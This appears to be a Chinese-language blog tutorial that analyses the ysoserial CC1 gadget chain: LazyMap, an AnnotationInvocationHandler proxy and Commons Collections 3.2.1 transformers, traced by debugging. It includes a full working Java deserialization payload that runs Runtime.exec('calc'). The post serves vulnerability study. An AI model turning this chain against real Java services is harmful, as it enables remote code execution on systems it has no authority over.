在前面学习 CC1 链时,我们使用 TransformedMap 作为利用链,但其实除了 TransformedMap 之外,还有 DefaultedMap 和 LazyMap 也可以作为利用链,它们都在 org.apache.commons.collections.map 包下。这一节我们来分析 ysoserial 工具中利用的 CC1 链,它是将 LazyMap 作为利用链的。

CC1 链之 ysoserial 版

环境

  • JDK = 8u65
  • commons-collections = 3.2.1

在前面学习 CC1 链时,我们使用 TransformedMap 作为利用链,但其实除了 TransformedMap 之外,还有 DefaultedMap 和 LazyMap 也可以作为利用链,它们都在 org.apache.commons.collections.map 包下:

这一节我们来分析 ysoserial 工具中利用的 CC1 链,它是将 LazyMap 作为利用链的。

前面我们利用 TransformedMap 类的 checkSetValue 方法来调用 transform 方法:

1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

那么回到这一步,还有谁调用了 transform 方法呢?LazyMap 中其实有相关的调用。

利用链之 LazyMap 类

LazyMap 的 get 方法中调用了 factory 的 transform 方法:

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

factory 是 LazyMap 中定义的属性:

1
protected final Transformer factory;

它在构造方法中被赋值:

1
2
3
4
5
6
7
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

所以我们让这里的 factory 变成 ChainedTransformer 对象就行。

然而 LazyMap 的构造方法被 protected 修饰,不能直接调用,所以我们需要找哪个方法调用了 LazyMap 的构造方法。

LazyMap 的 decorate 方法中调用了 LazyMap 的构造方法:

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

所以我们可以通过这个方法来给 factory 赋值。

接下来就是找哪里调用了 LazyMap 的 get 方法了,AnnotationInvocationHandler 的 invoke 方法有相关的调用。

AnnotationInvocationHandler 入口类

AnnotationInvocationHandler 的 invoke 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}

它调用了 memberValues 的 get 方法:

1
2
// Handle annotation member accessors
Object result = memberValues.get(member);

memberValues 是 AnnotationInvocationHandler 类的属性:

1
private final Map<String, Object> memberValues;

它在构造方法中被赋值:

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

这里可以依照前面的办法:利用反射调用 AnnotationInvocationHandler 的构造方法,将 memberValues 赋值成 LazyMap 对象。

那么又要如何调用 AnnotationInvocationHandler 的 invoke 方法呢?

AnnotationInvocationHandler 其实是一个代理类,它继承了 InvocationHandler 类,并重写了 invoke 方法。而我们知道,在调用代理对象的方法时,InvocationHandler 类的 invoke 方法将会被触发。(这方面与 Java 动态代理有关,可以去看我先前的文章)

假使我用 AnnotationInvocationHandler 来构建一个代理对象,那么只要这个代理对象的任意方法被调用,就会调用 AnnotationInvocationHandler 的 invoke 方法了。

那么为了能够反序列化利用,我们还是要回到 readObject 方法。

AnnotationInvocationHandler 的 readObject 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

沿用前辈们的思路,我们将触发点选为 memberValues.entrySet() ,只需要将 memberValues 设置成用 AnnotationInvocationHandler 构建的代理对象,那么在调用这个代理对象的任意方法时,都会调用 AnnotationInvocationHandler 的 invoke 方法。

这听起来似乎很矛盾,前面说 memberValues 要赋值成 LazyMap 对象,怎么这里又说 memberValues 要设置成用 AnnotationInvocationHandler 构建的代理对象呢?后面会给出解答。

构造 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class FinalPayload {
public static void main(String[] args) throws Exception {
// 获取包含执行类的 ChainedTransformer 对象
Transformer[] transformers = new Transformer[]{
// 将传入参数固定为 Runtime.class
new ConstantTransformer(Runtime.class),
new InvokerTransformer
("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer
("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer
("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 新建一个 Map 对象,无关紧要,只是作为参数传入
Map<Object, Object> hashMap = new HashMap<>();

// 初始化利用链 LazyMap
Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);

// 利用反射修改入口类 AnnotationInvocationHandler 的 memberValues 属性

// 获取 AnnotationInvocationHandler 的构造器对象
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

// 因为不经过判断,第一个参数只要是注解类就行,第二个参数传入 Lazymap 对象作为 memberValues 的值
Object annotationInvocationHandler1 = constructor.newInstance(Override.class, lazymap);

// 现在我已经通过构造方法获取了一个 AnnotationInvocationHandler 对象
// 接下来将这个对象强转成 InvocationHandler 类型,然后用它来获取代理对象
InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHandler1;

// 为了之后能将代理对象作为参数传入 AnnotationInvocationHandler 的构造方法
// 这里选择创建一个 Map 类型的代理对象
Map mapProxy = (Map) Proxy.newProxyInstance(
// 第一个参数是构造器
Map.class.getClassLoader(),
// 第二个参数指明代理对象继承的接口
new Class[]{Map.class},
// 第三个参数需要一个重写了 invoke 方法的 InvocationHandler 对象
// 这个对象的 invoke 方法将会在代理对象的任意方法被调用时调用
invocationHandler
);

// 传入 mapProxy 代理对象作为 memberValues 的值
Object annotationInvocationHandler2 = constructor.newInstance(Override.class, mapProxy);

// serialize(annotationInvocationHandler2);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

看完 payload 想必就能理解了,我们将代理对象作为 AnnotationInvocationHandler 对象 annotationInvocationHandler2 的 memberValues 属性值,在反序列化时,调用 annotationInvocationHandler2 的 readObject 方法,进而调用 memberValues 的 entrySet() 方法(即代理对象的 entrySet() 方法),此时将会调用代理对象对应的 invoke 方法,这个 invoke 方法正是 annotationInvocationHandler1 的 invoke 方法,annotationInvocationHandler1 的 invoke 方法会调用 memberValues 的 get 方法,而 annotationInvocationHandler1 的 memberValues 属性已经被赋值成 LazyMap 对象了,于是这里调用的是 LazyMap 对象的 get 方法。

我再画个流程图来帮助理解:

1
2
3
4
5
6
7
8
9
annotationInvocationHandler2 :: readObject() ->

annotationInvocationHandler2.memberValues :: entrySet()(annotationInvocationHandler2.memberValues = mapProxy)->

annotationInvocationHandler1 :: invoke()(annotationInvocationHandler1.memberValues = lazymap)->

lazymap :: get() ->

......

想必应该能理解了。

调试

调试既是为了验证理论的正确性,又是为了加深理解,还可以发现未知的细节。

先执行序列化方法,生成文件之后,对反序列化方法做调试。

主程序 readObject 处下断点:

AnnotationInvocationHandler.java 的 readObject 方法中的 memberValues.entrySet() 处下断点:

AnnotationInvocationHandler.java 的 invoke 方法中的 memberValues.get 处下断点:

开始调试:

单步进入:进入了 AbstractMapDecorator 类,过程省略。

接着单步进入,此时来到了 LazyMap 的 readObject 方法:

执行完 LazyMap 的 readObject 方法以后就来到了 AnnotationInvocationHandler 的 invoke 方法:

调用堆栈也出现了很多调用,细看之下,又跟我们的利用链毫无关系。至于这里为什么会提前调用 invoke 方法,容后再议。

继续调试,经过断点 memberValues.entrySet() :

继续调试,不断单步进入又跳出,执行完之后会发现弹出了计算器,而且是三个:

调试发现中间调用了一大堆乱七八糟的类,实在没有耐心看了,就引用 yhy 师傅的一个比较有说服力的结论吧:

IDEA 在 debug 时,当 debug 到某个对象的时候,会调用对象的 toString() 方法,用来在 debug 界面显示对象信息。弹出多个计算器,多半是由于代理对象的 toString() 方法被私自调用了,触发了 invoke 方法,造成非预期的命令执行。

我们可以在 IDEA 中关闭 Debug 自动调用 toString() 方法:

至于为什么关闭这个设置后调试仍然弹出了三个计算器,我就不得而知了。

那么,接下来才是重头戏。我们重新设置断点,重新调试。

反序列化是由内向外的

在 AnnotationInvocationHandler 类的 readObject 方法中新增一处断点,这一断点是在上一次调试中发现的转折点:

其余断点不变,开始调试:

单步进入几次:

现在调用的是 LazyMap 的 readObject ,说明 LazyMap 相比其他对象是最先被反序列化的。

继续单步进入:

跳出 LazyMap 的 readObject 方法之后,我们就来到了 AnnotationInvocationHandler 的 readObject 方法,观察 this.memberValues 值,发现它是一个 LazyMap 对象,这说明什么?说明此时反序列化的这个 AnnotationInvocationHandler 对象是 mapProxy 代理对象在创建时作为参数传入的 AnnotationInvocationHandler 对象,而不是最外部的 AnnotationInvocationHandler 对象。

即此时反序列化的是 annotationInvocationHandler1 对象。

接下来单步进入会进入 AnnotationType 类的 getInstance 方法,这个方法又会调用 AnnotationType 的构造方法,在构造方法中我们发现行进到这一步时:

这里的 ret 已然是一个代理对象,调用 ret.value() 将会进入某个代理类的 invoke 方法。

再下一步就来到了 AnnotationInvocationHandler 对象的 invoke 方法:

这就是我们之前遇到的 invoke 方法被提前调用的问题。观察下面的 memberValues 属性值可以发现,此时执行 invoke 方法的 AnnotationInvocationHandler 对象并不是 annotationInvocationHandler1 ,因此这一步调用 invoke 并不会造成命令执行,事实也正是如此。

想必这里调用 AnnotationInvocationHandler 的 invoke 方法是 AnnotationType 类的内部逻辑,至于 ret 是如何成为由 AnnotationInvocationHandler 构建的代理对象的,我就不深究了。

继续调试,执行完这一步后,我们回到 annotationInvocationHandler1 的 readObject 方法:

直接跳到下个断点吧:

继续调试,当执行完这一步时,我们又来到了 AnnotationInvocationHandler 类的这个断点处:

并且弹出了三个计算器,说明命令执行在上一步已经完成了,至于这个 AnnotationInvocationHandler 对象,看看它的 memberValues 属性值会发现是一个代理对象,也就是说我们现在正在执行外部的 AnnotationInvocationHandler 对象也即 annotationInvocationHandler2 的 readObject 方法,这一步的 readObject 方法并不会造成命令执行,事实也正是如此,后面的就不用看了,至此,调试完毕。

通过调试,我们可以发现:反序列化是由内向外的。而我们之前所预测的调用链被推翻,接下来我会记录下真正的调用链。

重新书写调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
反序列化 -> 

lazyMap :: readObject() ->

annotationInvocationHandler1 :: readObject() ->

​ AnnotationType :: getInstance() ->

​ AnnotationType :: AnnotationType() ->

​ AnnotationInvocationHandler :: invoke() (提前调用 invoke ,但不会命令执行)->

annotationInvocationHandler1.memberValues :: entrySet() ->

annotationInvocationHandler1 :: invoke() ->

annotationInvocationHandler1.memberValues :: get() (即 lazyMap :: get(),造成命令执行)->

annotationInvocationHandler2 :: readObject() ->

结束

结语

真理的相对性也是真理之一,实践是检验真理的唯一标准。